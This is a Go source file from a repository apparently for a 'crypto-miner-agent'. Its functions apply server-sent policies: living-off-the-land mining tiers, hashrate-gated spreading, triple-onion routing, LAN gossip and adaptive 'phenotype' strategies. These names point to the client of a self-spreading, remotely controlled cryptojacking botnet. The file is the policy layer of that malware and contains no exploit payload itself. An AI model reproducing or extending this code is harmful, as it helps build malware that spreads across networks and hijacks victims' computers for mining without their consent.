Files
AetherForge/agent/client/mining_policy.go
AetherForge 7b2d41cda8
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
2026-06-07 04:58:55 -07:00

105 lines
2.6 KiB
Go

package client
import (
"encoding/json"
"crypto-miner-agent/miner"
)
func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy {
c.mu.Lock()
policy := c.tierPolicy
if len(policy.TierOrder) == 0 && policy.ForceTier == "" && len(policy.SkipTiers) == 0 && len(c.atlasSkips) == 0 {
c.mu.Unlock()
return miner.DefaultMiningTierPolicy()
}
if len(c.atlasSkips) > 0 {
have := make(map[miner.LOTLTier]bool, len(policy.SkipTiers))
for _, t := range policy.SkipTiers {
have[t] = true
}
for _, skip := range c.atlasSkips {
tier := miner.LOTLTier(skip.Tier)
if tier == "" || have[tier] {
continue
}
have[tier] = true
policy.SkipTiers = append(policy.SkipTiers, tier)
}
}
c.mu.Unlock()
return policy
}
func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
c.setAtlasLanGossipEnabled(resp.AtlasLanGossipEnabled)
c.applySpreadPolicyJSON(resp.SpreadPolicy)
c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy)
if len(resp.MiningTierPolicy) > 0 {
c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
}
if len(resp.AtlasSkips) > 0 {
c.applyAtlasSkips(resp.AtlasSkips)
}
if inheritedPhenotypePresent(resp.InheritedPhenotype) {
c.applyInheritedPhenotypeJSON(resp.InheritedPhenotype)
return
}
if len(resp.AdaptiveStrategy) > 0 {
c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy)
return
}
if len(resp.SpreadTemperament) > 0 {
c.mu.Lock()
applySpreadTemperament(&c.cfg, resp.SpreadTemperament)
c.mu.Unlock()
}
if len(resp.MiningTierPolicy) > 0 {
return
}
if len(resp.LotlOnionTiers) == 0 {
return
}
order := make([]miner.LOTLTier, len(resp.LotlOnionTiers))
for i, s := range resp.LotlOnionTiers {
order[i] = miner.LOTLTier(s)
}
c.mu.Lock()
c.tierPolicy = miner.MiningTierPolicy{TierOrder: order}
c.mu.Unlock()
}
func (c *AgentClient) applyMiningTierPolicyJSON(raw json.RawMessage) {
if len(raw) == 0 || string(raw) == "null" {
return
}
var p miner.MiningTierPolicy
if err := json.Unmarshal(raw, &p); err != nil {
return
}
c.mu.Lock()
c.tierPolicy = p
c.mu.Unlock()
}
func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
if len(raw) == 0 || string(raw) == "null" {
return
}
var policy struct {
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"`
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
}
if err := json.Unmarshal(raw, &policy); err != nil {
return
}
c.mu.Lock()
if policy.HashrateGateSpreadMin > 0 {
c.cfg.HashrateGateSpreadMin = policy.HashrateGateSpreadMin
}
if policy.HashrateGateHPS > 0 {
c.cfg.HashrateGateHPS = policy.HashrateGateHPS
}
c.mu.Unlock()
}